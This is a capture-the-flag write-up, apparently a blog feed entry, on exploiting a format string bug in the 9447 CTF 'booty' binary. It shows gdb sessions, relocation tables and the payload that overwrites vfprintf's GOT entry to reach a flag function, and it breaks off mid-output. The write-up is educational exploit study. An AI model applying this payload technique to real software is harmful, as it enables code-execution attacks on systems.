tag:blogger.com,1999:blog-49845535877284772542024-02-20T20:24:47.141-08:00Regalado (In) SecurityIn this blog, we will learn Security together by sharing knowledge.
Viva Mexico!Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.comBlogger17125tag:blogger.com,1999:blog-4984553587728477254.post-20562063584048965572014-12-09T03:53:00.001-08:002014-12-09T08:43:35.993-08:009447 CTF booty: Format String ChallengeLong time since my last blog! Anyways, this time during CTF 9447 I tried to resolve the <a href="https://github.com/ctfs/write-ups/blob/master/9447-ctf-2014/booty/booty" target="_blank">booty </a>challenge but did not have success on finding the vulnerability during the game. Thanks to<a href="https://ctf-team.vulnhub.com/9447-ctf-2014-booty/" target="_blank"> barrebas</a> blog I understood where the vulnerability was and then proceeded to complete it.<br />
<br />
I am not going to explain how Format String works since it is fully documented everywhere, I highly recommend to read <a href="http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html" target="_blank">Alex Reece blog</a> about this topic before moving forward.<br />
<br />
<h2>
<b>Introducing the game</b></h2>
<br />
When running booty for the first time you are prompt to enter a pirate name for what looks like a Arm Wrestling game:<br />
<br />
<span style="color: orange;">.-= Pirate Arm Wrestling =-.</span><br />
<span style="color: orange;"><br /></span>
<span style="color: orange;">Who will become the next PIRATE KING?</span><br />
<span style="color: orange;">If ye want the power and glory for yourself then show your worth!</span><br />
<span style="color: orange;">Face the other challengers in a mighty arm wrestle and prove your right to rule.</span><br />
<span style="color: orange;"><br /></span>
<span style="color: orange;">What be ye fearsome pirate name?</span><br />
<span style="color: orange;">></span><br />
<br />
After entering the pirate name, you are prompted with one of three available fight status:<br />
<br />
<span style="color: orange;">a) Beer Wench is looking exhausted!</span><br />
<span style="color: orange;">b) Beer Wench starts to tense up.</span><br />
<span style="color: orange;">c) Beer Wench begins to flex their muscles.</span><br />
<br />
Where "Beer Wench" is the name of the opponent.<br />
<br />
Every time a fight status is displayed you need to select an action to take:<br />
<br />
<span style="color: orange;">Choose an action, [p]ush [h]old [r]est:</span><br />
<span style="color: orange;">> </span><br />
<br />
If the right actions are selected (<b>push</b> when exhausted,<b> rest</b> when tense up and <b>hold</b> when flexing their muscles) , eventually the pirate will win the game and below message will be displayed:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEnCgGNOSuhi2UmaYXt_LxZp0LrZdbTVCb2hq8LhRZmmOVIO8Sxxb0figSyWWmKR6MBWUdAWzSdvfR_L-PUcdzwfdirP0Ty1NG9GzYJe24koaYsj7molJJ-dvFwfqzvK2rl9K9gDBnK-KN/s1600/win.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEnCgGNOSuhi2UmaYXt_LxZp0LrZdbTVCb2hq8LhRZmmOVIO8Sxxb0figSyWWmKR6MBWUdAWzSdvfR_L-PUcdzwfdirP0Ty1NG9GzYJe24koaYsj7molJJ-dvFwfqzvK2rl9K9gDBnK-KN/s1600/win.png" height="320" width="179" /></a></div>
<br />
The game asks the end user to change his pirate name and start again, it also prints a stack address that can be helpful to defeat ASLR if needed:<br />
<br />
<span style="background-color: white;"> <span style="color: orange;"><b>0xbfaea85f</b> marks the spot of your treasure!</span></span><br />
<br />
<h2>
<b>The vulnerability</b></h2>
<br />
The format string vulnerability exists in the vfprintf function printing the pirate name entered, there is no format (e.g. %s) passed as parameter to the function and therefore can be manipulated by the end user:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfI4FoYOe2zIHOvakwV9x7zNZby-YqrHDYt56HgNG3tCvdMmVHsHc1858Df9FDHKuWv364hOmN_voqjvCwL2Ql5F0EfXeGu3SNSguZt4uaEqggJ_KFAbssZCO2AuEBJBHnaFeQAcQjKD1B/s1600/vuln.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfI4FoYOe2zIHOvakwV9x7zNZby-YqrHDYt56HgNG3tCvdMmVHsHc1858Df9FDHKuWv364hOmN_voqjvCwL2Ql5F0EfXeGu3SNSguZt4uaEqggJ_KFAbssZCO2AuEBJBHnaFeQAcQjKD1B/s1600/vuln.png" height="154" width="320" /></a></div>
<br />
However, if we try to enter a pirate name with the % character it will be removed by below function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO0c6Kln58zWc7Hr-FnQ36mAamINdTg19REnVbvoChU81vLb1sK82S2R_LDgFHTFPkC2UGgjFyYbMBNaupa5LfcWN6YDaZ0MuBEaaKHf3bfSVwnX7rBeCPGHlJiuXKO6HmU_fBRhfcm4jJ/s1600/vuln2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO0c6Kln58zWc7Hr-FnQ36mAamINdTg19REnVbvoChU81vLb1sK82S2R_LDgFHTFPkC2UGgjFyYbMBNaupa5LfcWN6YDaZ0MuBEaaKHf3bfSVwnX7rBeCPGHlJiuXKO6HmU_fBRhfcm4jJ/s1600/vuln2.png" height="301" width="320" /></a></div>
<br />
But there are two bugs in above function:<br />
<br />
a) Only the first percentage sign will be removed from the string entered, therefore if the pirate name is: %AAAA%p it will be changed to: 0AAAA%p. But because of the null char at the beginning, we cannot trigger the vulnerability yet. Here comes the second bug to the rescue.<br />
<br />
b) Once we win the game, we have the chance to change the pirate name however, the memcpy function does not clean its buffer before reading the next pirate name and therefore we if we enter a single "B" the new name will end up being BAAAA%p<br />
<br />
Let's replicate our assumption explain above, by entering %AAAA%p as the first pirate name and B as the second, and we get below result:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsWWJyfYZuWG72b53EXNDI4AiqI6-735p0lrnBNbAUym1_ih72EmspFGsUblrOgs8t9hDJGe_8qiAuSc6BKpfmQRqEEtwXBkoUy7NZ-B8dUigBexPSS1jmeqhfXoYD8uF7zf00KFpCtfmB/s1600/win2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsWWJyfYZuWG72b53EXNDI4AiqI6-735p0lrnBNbAUym1_ih72EmspFGsUblrOgs8t9hDJGe_8qiAuSc6BKpfmQRqEEtwXBkoUy7NZ-B8dUigBexPSS1jmeqhfXoYD8uF7zf00KFpCtfmB/s1600/win2.png" height="320" width="166" /></a></div>
<br />
We confirmed our assumption and also at the bottom we can see a leak address 0x8048f40 when printing the pirate name, confirming the format string has been successfully executed.<br />
<br />
<h2>
<b>Redirecting execution flow</b></h2>
<br />
From here on everything is fun, we have multiple options to gain code execution, one of the ways to exploit format string is by overwriting a key pointer to redirect the execution flow, for this, we need to gather some requirements:<br />
<br />
a) Decide the pointer to overwrite: Always a good pointer candidate to overwrite can be taken from the <a href="https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html" target="_blank">relocations</a> table where:<br />
<br />
"<em style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, san-serif; font-size: 14px; line-height: 20px;">relocations</em><span style="background-color: white; color: #333333; font-family: Roboto, san-serif; font-size: 14px; line-height: 20px;"> are entries in binaries that are left to be filled in later -- at link time by the toolchain linker or at runtime by the dynamic linker. A </span><em style="background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, san-serif; font-size: 14px; line-height: 20px;">relocation</em><span style="background-color: white; color: #333333; font-family: Roboto, san-serif; font-size: 14px; line-height: 20px;"> in a binary is a descriptor which essentially says "determine the value of X, and put that value into the binary at offset Y"</span><br />
<br />
Although with <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank">ASLR</a> enabled, the base address of the functions will be different, the offsets at the relocation tables are always the same and therefore our exploit can be reliable. We can confirm this, let's list the relocations from booty:<br />
<br />
<span style="color: orange;">#readelf -r booty </span><br />
<span style="color: orange;"><br /></span>
<span style="color: orange;">Relocation section '.rel.dyn' at offset 0x3d8 contains 3 entries:</span><br />
<span style="color: orange;"> Offset Info Type Sym.Value Sym. Name</span><br />
<span style="color: orange;">0804a0f4 00000706 R_386_GLOB_DAT 00000000 __gmon_start__</span><br />
<span style="color: orange;">0804a1a0 00001105 R_386_COPY 0804a1a0 stdin</span><br />
<span style="color: orange;">0804a1a4 00000f05 R_386_COPY 0804a1a4 stdout</span><br />
<span style="color: orange;"><br /></span>
<span style="color: orange;">Relocation section '.rel.plt' at offset 0x3f0 contains 14 entries:</span><br />
<span style="color: orange;"> Offset Info Type Sym.Value Sym. Name</span><br />
<span style="color: orange;">0804a104 00000107 R_386_JUMP_SLOT 00000000 fflush</span><br />
<span style="color: orange;">0804a108 00000207 R_386_JUMP_SLOT 00000000 memcpy</span><br />
<span style="color: orange;">0804a10c 00000307 R_386_JUMP_SLOT 00000000 fclose</span><br />
<span style="color: orange;">0804a110 00000407 R_386_JUMP_SLOT 00000000 time</span><br />
<span style="color: orange;">0804a114 00000507 R_386_JUMP_SLOT 00000000 _IO_getc</span><br />
<span style="color: orange;">0804a118 00000607 R_386_JUMP_SLOT 00000000 _IO_putc</span><br />
<span style="color: orange;">0804a11c 00000707 R_386_JUMP_SLOT 00000000 __gmon_start__</span><br />
<span style="color: orange;">0804a120 00000807 R_386_JUMP_SLOT 00000000 exit</span><br />
<span style="color: orange;">0804a124 00000907 R_386_JUMP_SLOT 00000000 srand</span><br />
<span style="color: orange;">0804a128 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main</span><br />
<span style="color: orange;">0804a12c 00000b07 R_386_JUMP_SLOT 00000000 fopen</span><br />
<span style="color: orange;">0804a130 00000c07 R_386_JUMP_SLOT 00000000 strncpy</span><br />
<span style="color: orange;">0804a134 00000d07 R_386_JUMP_SLOT 00000000 rand</span><br />
<span style="color: lime;"><b>0804a138</b> 00000e07 R_386_JUMP_SLOT 00000000 <b>vfprintf</b></span><br />
<div>
<br /></div>
<div>
<div>
The Offsets are listed on the first column, let's focus on the last row related to vfprintf function, at offset <b><span style="color: lime;">0x0804a138</span></b> there will be a pointer to vfprintf function which will be calculated at link or run time, below we can see that by running booty two times the offset contains two different pointers:</div>
<div>
<br /></div>
<div>
gdb$ x/x <b><span style="color: lime;">0x0804a138</span></b></div>
<div>
0x804a138:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xb7614c10</div>
</div>
<div>
<br /></div>
<div>
<div>
gdb$ x/x <b><span style="color: lime;">0x804a138</span></b></div>
<div>
0x804a138:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xb75c2c10</div>
</div>
<div>
<br /></div>
<div>
What we are going to do is to change the pointer at this offset 0x0804a138 so that as soon as vfprintf is called it will point to our desired address!!!</div>
<div>
<br /></div>
b) Now that we found the pointer to overwrite, now we need to decide where do we want to redirect the execution flow? At offset 0x080487C0 we can see a function that opens a flag file and prints its content out to the screen, this function cannot be reached directly by the program though, so we will force booty to jump here:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLiL4lXpbLUOy4QMB5OXcEv3i6LFdRKRhkmWotDUNEWaRqLYcBuFSNSuKZGhfT1VJeOXbrJMibTn-8XVLrd990RxQINUWYwifROaF_6yku9VO6DX45YVVQfswDl80pmjy-CHRIh5JjzNCr/s1600/flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLiL4lXpbLUOy4QMB5OXcEv3i6LFdRKRhkmWotDUNEWaRqLYcBuFSNSuKZGhfT1VJeOXbrJMibTn-8XVLrd990RxQINUWYwifROaF_6yku9VO6DX45YVVQfswDl80pmjy-CHRIh5JjzNCr/s1600/flag.png" height="320" width="319" /></a></div>
<br />
c) We have the relocation offset to manipulate, the destination address to redirect the flow but how do we actually fulfill this? I highly encourage you to read this excellent <a href="http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html" target="_blank">blog</a> for detailed steps.<br />
<br />
<h2>
<b>Overwritten relocation offset</b></h2>
<br />
First we need to place the address to be overwritten in the stack and calculate the argument number so that we can control it via <span style="color: orange;">%<argument_number>$hn</argument_number></span> later.<br />
<br />
As explained in the Introducing the game section, in order to bypass the filter, we need to insert the first name as:<br />
<br />
<span style="color: orange;">"%\xa1\x04\x08\x38\xa1\x04\x08"</span><br />
<br />
Assuming the first % will be changed to 0, once we win the game and are prompted to change the name, we entered: 0x3a giving us a final name as:<br />
<br />
<span style="color: orange;">"\x3a\xa1\x04\x08\x38\xa1\x04\x08"</span><br />
<br />
We are sending (in little endian format) the higher two bytes 0x0804a138 and lower two bytes 0x0804a13a to be overwritten later.<br />
<br />
In order to test it, you can run booty via socat as usual:<br />
<br />
<span style="color: orange;"># socat tcp-listen:4444,fork exec:./booty</span><br />
<br />
Then execute the exploit which must have a raw_input() instruction to give us a chance to attached gdb (full exploit at the end): <span style="color: orange;">#./exploit_booty.py</span><br />
<br />
And finally in another window we run:<br />
<br />
<span style="color: orange;"># ps -fea |grep booty</span><br />
<span style="color: orange;">root 5021 2335 0 Dec08 pts/1 00:00:00 socat tcp-listen:4444,fork exec:./booty</span><br />
<span style="color: orange;">root 6022 3313 0 Dec08 pts/3 00:00:01 vi exploit_booty.py</span><br />
<span style="color: orange;">root 6942 3251 0 04:46 pts/2 00:00:00 /usr/bin/python ./exploit_booty.py</span><br />
<span style="color: orange;">root 6943 5021 0 04:46 pts/1 00:00:00 socat tcp-listen:4444,fork exec:./booty</span><br />
<span style="color: orange;">root <b>6944</b> 6943 0 04:46 pts/1 00:00:00 ./booty</span><br />
<div>
<span style="color: orange;"><br /></span></div>
<div>
<span style="color: orange;"># gdb attach <b>6944</b></span></div>
<div>
<b><br /></b></div>
<div>
Before letting gdb to continue, let's set a breakpoint right before triggering the format string vuln at:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: orange;">gdb$ br *0x08048a30</span></div>
<div>
<span style="color: orange;">Breakpoint 1 at 0x8048a30</span></div>
</div>
<div>
<br /></div>
<div>
We let it run two times so that the two names can be entered:</div>
<div>
<br /></div>
<div>
<span style="color: orange;">gdb$ continue</span></div>
<div>
<div>
<span style="color: orange;">gdb$ continue</span></div>
</div>
<div>
<br /></div>
<div>
Once the breakpoint is hit we print the stack content:</div>
<div>
<br /></div>
<div>
<div>
<div>
<span style="color: orange;">=> 0x8048a30:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x8048770</span></div>
<div>
<span style="color: orange;"> 0x8048a35:<span class="Apple-tab-span" style="white-space: pre;"> </span> mov DWORD PTR [esp],0x80499e3</span></div>
<div>
<span style="color: orange;"> 0x8048a3c:<span class="Apple-tab-span" style="white-space: pre;"> </span> call 0x8048770</span></div>
<div>
<span style="color: orange;"> 0x8048a41:<span class="Apple-tab-span" style="white-space: pre;"> </span> pop ecx</span></div>
<div>
<span style="color: orange;"> 0x8048a42:<span class="Apple-tab-span" style="white-space: pre;"> </span> pop esi</span></div>
<div>
<span style="color: orange;"> 0x8048a43:<span class="Apple-tab-span" style="white-space: pre;"> </span> lea esi,[esp+0x17]</span></div>
<div>
<span style="color: orange;"> 0x8048a47:<span class="Apple-tab-span" style="white-space: pre;"> </span> push esi</span></div>
<div>
<span style="color: orange;"> 0x8048a48:<span class="Apple-tab-span" style="white-space: pre;"> </span> push 0x804957c</span></div>
<div>
<span style="color: orange;">--------------------------------------------------------------------------------</span></div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
<span style="color: orange;">Breakpoint 1, 0x08048a30 in ?? ()</span></div>
<div>
<span style="color: orange;">gdb$ x/64x $esp</span></div>
<div>
<span style="color: orange;">0xbfa1ed30:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1eda8<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08048f40<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ee58<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08048796</span></div>
<div>
<span style="color: orange;">0xbfa1ed40:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xb76e24e0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x080496e8<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ed64<span class="Apple-tab-span" style="white-space: pre;"> </span>0x00a1eda0</span></div>
<div>
<span style="color: orange;">0xbfa1ed50:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1eda0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x00000001<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ede8<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08048e51</span></div>
<div>
<span style="color: orange;">0xbfa1ed60:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1eda0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x00000001<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ee58<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08048796</span></div>
<div>
<span style="color: orange;">0xbfa1ed70:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xb76e24e0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x080499de<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ed94<span class="Apple-tab-span" style="white-space: pre;"> </span>0x70a1ed88</span></div>
<div>
<span style="color: orange;">0xbfa1ed80:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xb75bce84<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1eda0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x55555556<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08048679</span></div>
<div>
<span style="color: orange;">0xbfa1ed90:<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1eda0<span class="Apple-tab-span" style="white-space: pre;"> </span>0xbfa1ede8<span class="Apple-tab-span" style="white-space: pre;"> </span>0x08049ad0<span class="Apple-tab-span" style="white-space: pre;"> </span>0x00000000</span></div>
<div>
<span style="color: orange;">0xbfa1eda0:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><span style="color: orange;">0x00000033</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><span style="color: orange;">0x00000000</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><b><span style="color: lime;">0x0804a13a<span class="Apple-tab-span" style="white-space: pre;"> </span>0x0804a138</span></b></div>
</div>
</div>
<div>
<br /></div>
<div>
If you do the math and count all the dwords in the stack skipping the first one since it is the return address, you will realize that the two addresses entered belong to the arguments 30th <b><span style="color: lime;">0x0804a13a</span></b><b style="color: orange;"> </b>and 31st <b><span style="color: lime;">0x0804a138.</span></b></div>
<div>
<br /></div>
<div>
Then the next step is to confirm we can change its content, so, if you remember we were planning at point b) above to filled this offset with the address: 0x080487C0, since we are going to overwrite only two bytes at a time we will split the target address into:</div>
<div>
<br /></div>
<div>
<div>
0804 = 2052 decimal</div>
<div>
87C0 -> 0x87C0 -2052 = 32700 decimal</div>
</div>
<div>
<br /></div>
<div>
Here is where the specifier %n comes into play, below its man page definition:</div>
<div>
<br /></div>
<div>
<span style="background-color: white; color: #000305; font-family: 'Trebuchet MS', Trebuchet, 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif; font-size: 14px; font-style: italic; line-height: 20.0059986114502px;">The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.</span></div>
<div>
<span style="background-color: white; color: #000305; font-family: 'Trebuchet MS', Trebuchet, 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif; font-size: 14px; font-style: italic; line-height: 20.0059986114502px;"><br /></span></div>
<div>
<span style="color: #000305; font-family: Trebuchet MS, Trebuchet, Lucida Sans Unicode, Lucida Grande, Lucida Sans, Arial, sans-serif;"><span style="background-color: white; font-size: 14px; line-height: 20.0059986114502px;">Let's see a practical example of %n:</span></span></div>
<div>
<span style="color: #000305; font-family: Trebuchet MS, Trebuchet, Lucida Sans Unicode, Lucida Grande, Lucida Sans, Arial, sans-serif;"><span style="background-color: white; font-size: 14px; line-height: 20.0059986114502px;"><br /></span></span></div>
<div>
<span style="font-family: Trebuchet MS, Trebuchet, Lucida Sans Unicode, Lucida Grande, Lucida Sans, Arial, sans-serif;"><span style="background-color: white;"></span></span><br />
<div>
<span style="font-family: Trebuchet MS, Trebuchet, Lucida Sans Unicode, Lucida Grande, Lucida Sans, Arial, sans-serif;"><span style="background-color: white;"><span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;">#include <stdio .h=""></stdio></span></span></span></span></div>
<span style="font-family: Trebuchet MS, Trebuchet, Lucida Sans Unicode, Lucida Grande, Lucida Sans, Arial, sans-serif;"><span style="background-color: white;">
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;"><br /></span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;">int main()</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;">{</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;"> int val;</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;"> printf("count this %n</span><span style="color: red;"> this does not count</span><span style="color: lime;">\n", &val);</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;"> printf("val = %d\n", val);</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;"> return 0;</span></span></div>
<div>
<span style="font-size: 14px; line-height: 20.0059986114502px;"><span style="color: lime;">}</span></span></div>
<div style="font-size: 14px; line-height: 20.0059986114502px;">
<div style="color: #000305; line-height: 20.0059986114502px;">
<br /></div>
<div style="line-height: 20.0059986114502px;">
<span style="color: orange;"># ./n</span></div>
<div style="line-height: 20.0059986114502px;">
<span style="color: orange;">count this </span><span style="color: red;">this does not count</span></div>
<div style="line-height: 20.0059986114502px;">
<span style="color: orange;">val = 11</span></div>
<div style="color: #000305;">
<br /></div>
</div>
</span></span></div>
<div>
What we just learned is that the specifier %n will stored at a provided address the number of characters written so far, that is the reason the string "<span style="color: red;">this does not count</span>" was not added to the final count. Also, we can manipulate argument number to use by %n which is the address to store the final count by using the dollar sign: <argument_number>$n, and last but not least we can also tell %n to only write the higher two bytes by using hn modifier. </argument_number></div>
<div>
<br /></div>
<div>
With all this features learned, we can come up with a request to overwrite the higher two bytes at address <span style="color: lime;">0x0804a13a</span> with 0x<span style="color: cyan;">0804</span> assuming the target address is located at the argument <span style="color: orange;">30th</span>:</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span style="color: lime;">\x3a\xa1\x04\x08</span><span style="color: orange;">" + "</span><span style="color: cyan;">%2048x</span><span style="color: orange;">%30$hn</span></div>
<div>
<span style="color: orange;"> </span></div>
<div>
<span style="color: orange;"> </span> Where:</div>
<div>
<span style="color: lime;">\x3a\xa1\x04\x08</span> = Is the higher two bytes of the target address </div>
<div>
<span style="color: cyan;">%2048x</span> = As mentioned above, we are trying to write <span style="color: cyan;">0x0804 = 2052 so 2048</span> + 4 bytes of the address give us the required amount to pass to %n</div>
<div>
<span style="color: orange;">%30$hn</span> = We tell specifier n to uset the 30th argument (which points to the target address in the stack) and only write the higher two bytes. </div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
Let's test what we just learned by sending to booty the pirate name:</div>
<div>
<br /></div>
<div>
<span style="color: orange;">"</span><span style="color: lime;">%\xa1\x04\x08</span><span style="color: orange;">" + "</span><span style="color: cyan;">%2048x</span><span style="color: orange;">%30$hn"</span></div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
And<span style="color: orange;"> </span><span style="color: lime;">"\x3a"</span><span style="color: orange;"> </span>as the new name once we win the game.</div>
<div>
<br /></div>
<div>
Again we set a breakpoint at 0x08048a30 and once we hit the breakpoint we step into the function to trigger the vulnerability, before executing vfprintf call we print the value of our higher two bytes of the target address:</div>
<div>
<br /></div>
<div>
Before:</div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
<span style="color: orange;">=> 0x8048785:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x8048570 <vfprintf plt=""></vfprintf></span></div>
<div>
<span style="color: orange;"> 0x804878a:<span class="Apple-tab-span" style="white-space: pre;"> </span>pop eax</span></div>
<div>
<span style="color: orange;"> 0x804878b:<span class="Apple-tab-span" style="white-space: pre;"> </span>push DWORD PTR ds:0x804a1a4</span></div>
<div>
<span style="color: orange;"> 0x8048791:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x80484a0 <fflush plt=""></fflush></span></div>
<div>
<span style="color: orange;"> 0x8048796:<span class="Apple-tab-span" style="white-space: pre;"> </span>add esp,0x1c</span></div>
<div>
<span style="color: orange;"> 0x8048799:<span class="Apple-tab-span" style="white-space: pre;"> </span>ret </span></div>
<div>
<span style="color: orange;"> 0x804879a:<span class="Apple-tab-span" style="white-space: pre;"> </span>lea esi,[esi+0x0]</span></div>
<div>
<span style="color: orange;"> 0x80487a0:<span class="Apple-tab-span" style="white-space: pre;"> </span>sub esp,0x14</span></div>
<div>
<span style="color: orange;">--------------------------------------------------------------------------------</span></div>
<div>
<span style="color: orange;">0x08048785 in ?? ()</span></div>
<div>
<span style="color: orange;">gdb$<b> x/x 0x0804a13a</b></span></div>
<div>
<span style="color: orange;">0x804a13a:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><b><span style="color: orange;">0x0000</span><span style="color: lime;">b75d</span></b></div>
<div>
<span style="color: orange;">gdb$ </span></div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
Then we proceed to execute the vfprintf and print the content after:</div>
<div>
<span style="color: orange;"><br /></span></div>
<div>
<div>
<span style="color: orange;">=> 0x804878a:<span class="Apple-tab-span" style="white-space: pre;"> </span>pop eax</span></div>
<div>
<span style="color: orange;"> 0x804878b:<span class="Apple-tab-span" style="white-space: pre;"> </span>push DWORD PTR ds:0x804a1a4</span></div>
<div>
<span style="color: orange;"> 0x8048791:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x80484a0 <fflush plt=""></fflush></span></div>
<div>
<span style="color: orange;"> 0x8048796:<span class="Apple-tab-span" style="white-space: pre;"> </span>add esp,0x1c</span></div>
<div>
<span style="color: orange;"> 0x8048799:<span class="Apple-tab-span" style="white-space: pre;"> </span>ret </span></div>
<div>
<span style="color: orange;"> 0x804879a:<span class="Apple-tab-span" style="white-space: pre;"> </span>lea esi,[esi+0x0]</span></div>
<div>
<span style="color: orange;"> 0x80487a0:<span class="Apple-tab-span" style="white-space: pre;"> </span>sub esp,0x14</span></div>
<div>
<span style="color: orange;"> 0x80487a3:<span class="Apple-tab-span" style="white-space: pre;"> </span>push 0x8048f40</span></div>
<div>
<span style="color: orange;">--------------------------------------------------------------------------------</span></div>
<div>
<span style="color: orange;">0x0804878a in ?? ()</span></div>
<div>
<span style="color: orange;">gdb$ x/x <b>0x0804a13a</b></span></div>
<div>
<span style="color: orange;">0x804a13a:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><b><span style="color: orange;">0x0000</span><span style="color: lime;">0804</span></b></div>
<div>
<span style="color: orange;">gdb$ </span></div>
<div style="color: orange;">
<br /></div>
</div>
<div>
<span style="color: orange;"> </span></div>
<div>
Voila!!! We can see that we have successfully changed the higher two bytes of the target address. The final step is to made the math for the lower two bytes remaining of the target address located at 0x0804a138 which is the 31st argument as we learned before, so the final pirate string name will be:</div>
<div>
<br /></div>
<div>
<span style="color: lime;"> "%\xa1\x04\x08\x38\xa1\x04\x08"</span><span style="color: orange;"> + "</span><span style="color: cyan;">%2044x</span><span style="color: orange;">%30$hn</span><span style="color: cyan;">%32700x</span><span style="color: orange;">%31$hn"</span></div>
<div>
<br /></div>
<div>
Two important changes to point out with respect to the previous request, here we are using the two higher and lower bytes of the target address and therefore 8 bytes are sent before the <span style="color: orange;">$hn</span> parameter which lowers the size sent before from <span style="color: cyan;">2048</span> to <span style="color: cyan;">2044</span> to keep the final size of <span style="color: cyan;">2052</span>, we can see that the second size is equal to <span style="color: cyan;">32700</span> why? Remember that the bytes to overwrite are: <span style="color: cyan;">0x87C0</span> </div>
<div>
<br /></div>
<div>
By doing the math, we already sent <span style="color: cyan;">2052</span> bytes before the second <span style="color: orange;">$hn</span> so<span style="color: cyan;"> 0x87C0 - 2052</span> give us the remaining size equal to <span style="color: cyan;">32700</span>.</div>
<div>
<br /></div>
<div>
Finally, by running the final exploit we can see that right after triggering the format string we have successfully overwritten the original pointer to vfprint to <span style="color: lime;">0x080487C0</span> which is where the flag is printed out:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: orange;">gdb$<b> </b></span><span style="color: lime;"><b>x/x 0x0804a138</b></span></div>
<div>
<span style="color: orange;">0x804a138:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><b><span style="color: orange;">0xb75ddc10 </span><span style="color: lime;"> Before triggering the vulnerability</span></b></div>
<div>
<span style="color: orange;">gdb$ ni</span></div>
<div>
<span style="color: orange;">--------------------------------------------------------------------------[code]</span></div>
<div>
<span style="color: orange;">=> 0x804878a:<span class="Apple-tab-span" style="white-space: pre;"> </span>pop eax</span></div>
<div>
<span style="color: orange;"> 0x804878b:<span class="Apple-tab-span" style="white-space: pre;"> </span>push DWORD PTR ds:0x804a1a4</span></div>
<div>
